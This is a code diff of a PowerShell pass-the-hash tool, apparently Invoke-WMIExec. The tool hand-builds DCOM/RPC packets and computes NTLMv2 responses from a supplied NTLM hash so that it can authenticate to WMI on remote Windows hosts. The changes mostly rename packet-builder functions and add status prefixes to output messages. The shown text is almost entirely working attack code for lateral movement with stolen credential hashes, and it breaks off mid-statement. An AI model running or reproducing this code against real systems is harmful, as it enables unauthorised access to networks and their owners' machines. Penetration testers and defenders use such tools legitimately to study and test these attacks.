$packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMinor",[Byte[]](0x07,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIds",[Byte[]](0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoPrivateHeader",[Byte[]](0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientOk",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextUnknown",[Byte[]](0x60,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextCntData",[Byte[]](0x60,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID",[Byte[]](0xc0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID",[Byte[]](0x3b,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize",[Byte[]](0x30,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer",[Byte[]](0x01,0x00,0x01,0x00,0x63,0x2c,0x80,0x2a,0xa5,0xd2,0xaf,0xdd,0x4d,0xc4,0xbb,0x37,0x4d,0x37,0x76,0xd7,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) - $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader",$packet_private_header) - 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$packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID",[Byte[]](0xc0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID",[Byte[]](0x3b,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize",[Byte[]](0x30,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer",[Byte[]](0x01,0x00,0x01,0x00,0x63,0x2c,0x80,0x2a,0xa5,0xd2,0xaf,0xdd,0x4d,0xc4,0xbb,0x37,0x4d,0x37,0x76,0xd7,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader",$packet_private_header) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoAuthenticationFlags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameMaxCount",$packet_target_length) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameActualCount",$packet_target_length) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameString",$packet_target_unicode) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoPrivateHeader",[Byte[]](0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoProcessID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoApartmentID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoContextID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoPrivateHeader",[Byte[]](0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestClientImpersonationLevel",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestNumProtocolSequences",[Byte[]](0x01,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestUnknown",[Byte[]](0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq",[Byte[]](0x07,0x00)) + $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00)) return $packet_DCOMRemoteCreateInstance } -function DataLength2 +function Get-UInt16DataLength { - param ([Int]$length_start,[Byte[]]$string_extract_data) + param ([Int]$Start,[Byte[]]$Data) - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) - return $string_length + return $data_length } if($hash -like "*:*") @@ -533,7 +532,7 @@ try } catch { - Write-Output "$Target did not respond" + Write-Output "[-] $Target did not respond" } if($WMI_client_init.Connected) @@ -541,15 +540,15 @@ if($WMI_client_init.Connected) $WMI_client_stream_init = $WMI_client_init.GetStream() $WMI_client_receive = New-Object System.Byte[] 2048 $RPC_UUID = 0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a - $packet_RPC = Get-PacketRPCBind 2 0xd0,0x16 0x02 0x00,0x00 $RPC_UUID 0x00,0x00 - $packet_RPC["RPCBind_FragLength"] = 0x74,0x00 + $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x02 0x00,0x00 $RPC_UUID 0x00,0x00 + $packet_RPC["FragLength"] = 0x74,0x00 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_stream_init.Flush() $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $assoc_group = $WMI_client_receive[20..23] - $packet_RPC = Get-PacketRPCRequest 0x03 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x05,0x00 + $packet_RPC = New-PacketRPCRequest 0x03 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x05,0x00 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -580,17 +579,17 @@ if($WMI_client_init.Connected) } catch { - Write-Output "$target_long did not respond" + Write-Output "[-] $target_long did not respond" } if($WMI_client.Connected) { $WMI_client_stream = $WMI_client.GetStream() $RPC_UUID = 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 - $packet_RPC = Get-PacketRPCBind 3 0xd0,0x16 0x01 0x01,0x00 $RPC_UUID 0x00,0x00 - $packet_RPC["RPCBind_FragLength"] = 0x78,0x00 - $packet_RPC["RPCBind_AuthLength"] = 0x28,0x00 - $packet_RPC["RPCBind_NegotiateFlags"] = 0x07,0x82,0x08,0xa2 + $packet_RPC = New-PacketRPCBind 3 0xd0,0x16 0x01 0x01,0x00 $RPC_UUID 0x00,0x00 + $packet_RPC["FragLength"] = 0x78,0x00 + $packet_RPC["AuthLength"] = 0x28,0x00 + $packet_RPC["NegotiateFlags"] = 0x07,0x82,0x08,0xa2 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -601,8 +600,8 @@ if($WMI_client_init.Connected) $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-","" $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000") $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2 - $WMI_domain_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive - $WMI_target_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive + $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive + $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive $WMI_session_ID = $WMI_client_receive[44..51] $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)] $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)] @@ -614,14 +613,10 @@ if($WMI_client_init.Connected) $auth_domain = $Domain $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain) $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] $auth_domain_offset = 0x40,0x00,0x00,0x00 $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) @@ -650,8 +645,7 @@ if($WMI_client_init.Connected) $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) $WMI_session_key_length = 0x00,0x00 $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2 @@ -685,7 +679,7 @@ if($WMI_client_init.Connected) $NTLMv2_response $assoc_group = $WMI_client_receive[20..23] - $packet_RPC = Get-PacketRPCAUTH3 $NTLMSSP_response + $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -694,9 +688,9 @@ if($WMI_client_init.Connected) [Byte[]]$causality_ID_bytes = $causality_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $unused_buffer = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) [Byte[]]$unused_buffer_bytes = $unused_buffer.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_DCOM_remote_create_instance = Get-PacketDCOMRemoteCreateInstance $causality_ID_bytes $target_short + $packet_DCOM_remote_create_instance = New-PacketDCOMRemoteCreateInstance $causality_ID_bytes $target_short $DCOM_remote_create_instance = ConvertFrom-PacketOrderedDictionary $packet_DCOM_remote_create_instance - $packet_RPC = Get-PacketRPCRequest 0x03 $DCOM_remote_create_instance.Length 0 0 0x03,0x00,0x00,0x00 0x01,0x00 0x04,0x00 + $packet_RPC = New-PacketRPCRequest 0x03 $DCOM_remote_create_instance.Length 0 0 0x03,0x00,0x00,0x00 0x01,0x00 0x04,0x00 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC + $DCOM_remote_create_instance $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -705,22 +699,22 @@ if($WMI_client_init.Connected) if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00') { - Write-Output "$output_username WMI access denied on $target_long" + Write-Output "[-] $output_username WMI access denied on $target_long" } elseif($WMI_client_receive[2] -eq 3) { $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) $error_code = $error_code -replace "-","" - Write-Output "Error code 0x$error_code" + Write-Output "[-] Error code 0x$error_code" } elseif($WMI_client_receive[2] -eq 2 -and !$WMI_execute) { - Write-Output "$output_username accessed WMI on $target_long" + Write-Output "[+] $output_username accessed WMI on $target_long" } elseif($WMI_client_receive[2] -eq 2) { - Write-Verbose "$output_username accessed WMI on $target_long" + Write-Verbose "[+] $output_username accessed WMI on $target_long" if($target_short -eq '127.0.0.1') { @@ -757,7 +751,7 @@ if($WMI_client_init.Connected) if($target_long -cne $target_short) { - Write-Verbose "Using $target_short for random port extraction" + Write-Verbose "[*] Using $target_short for random port extraction" } if($target_index -gt 0) @@ -793,7 +787,7 @@ if($WMI_client_init.Connected) if($WMI_random_port) { - Write-Verbose "Connecting to $target_long`:$WMI_random_port_int" + Write-Verbose "[*] Connecting to $target_long`:$WMI_random_port_int" try { @@ -801,29 +795,29 @@ if($WMI_client_init.Connected) } catch { - Write-Output "$target_long`:$WMI_random_port_int did not respond" + Write-Output "[-] $target_long`:$WMI_random_port_int did not respond" } } else { - Write-Output "Random port extraction failure" + Write-Output "[-] Random port extraction failure" } } else { - Write-Output "Something went wrong" + Write-Output "[-] Something went wrong" } if($WMI_client_random_port.Connected) { $WMI_client_random_port_stream = $WMI_client_random_port.GetStream() - $packet_RPC = Get-PacketRPCBind 2 0xd0,0x16 0x03 0x00,0x00 0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 0x00,0x00 - $packet_RPC["RPCBind_FragLength"] = 0xd0,0x00 - $packet_RPC["RPCBind_AuthLength"] = 0x28,0x00 - $packet_RPC["RPCBind_AuthLevel"] = 0x04 - $packet_RPC["RPCBind_NegotiateFlags"] = 0x97,0x82,0x08,0xa2 + $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x03 0x00,0x00 0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 0x00,0x00 + $packet_RPC["FragLength"] = 0xd0,0x00 + $packet_RPC["AuthLength"] = 0x28,0x00 + $packet_RPC["AuthLevel"] = 0x04 + $packet_RPC["NegotiateFlags"] = 0x97,0x82,0x08,0xa2 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -834,27 +828,23 @@ if($WMI_client_init.Connected) $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-","" $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000") $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2 - $WMI_domain_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive - $WMI_target_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive + $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive + $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive $WMI_session_ID = $WMI_client_receive[44..51] $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)] $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)] $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)] $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (get-childitem -path env:computername).Value + $auth_hostname = (Get-ChildItem -path env:computername).Value $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) $auth_domain = $Domain $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain) $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] $auth_domain_offset = 0x40,0x00,0x00,0x00 $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) @@ -892,8 +882,7 @@ if($WMI_client_init.Connected) $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $client_signing_key = $MD5.ComputeHash($session_base_key + $client_signing_constant) $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) $WMI_session_key_length = 0x00,0x00 $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2 @@ -929,39 +918,39 @@ if($WMI_client_init.Connected) $HMAC_MD5.key = $client_signing_key [Byte[]]$sequence_number = 0x00,0x00,0x00,0x00 - $packet_RPC = Get-PacketRPCAUTH3 $NTLMSSP_response - $packet_RPC["RPCAUTH3_CallID"] = 0x02,0x00,0x00,0x00 - $packet_RPC["RPCAUTH3_AuthLevel"] = 0x04 + $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response + $packet_RPC["CallID"] = 0x02,0x00,0x00,0x00 + $packet_RPC["AuthLevel"] = 0x04 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() - $packet_RPC = Get-PacketRPCRequest 0x83 76 16 4 0x02,0x00,0x00,0x00 0x00,0x00 0x03,0x00 $object_UUID - $packet_rem_query_interface = Get-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87 - $packet_NTLMSSP_verifier = Get-PacketNTLMSSPVerifier 4 0x04 $sequence_number + $packet_RPC = New-PacketRPCRequest 0x83 76 16 4 0x02,0x00,0x00,0x00 0x00,0x00 0x03,0x00 $object_UUID + $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87 + $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier 4 0x04 $sequence_number $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $rem_query_interface = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $HMAC_MD5.key = $client_signing_key $RPC_signature = 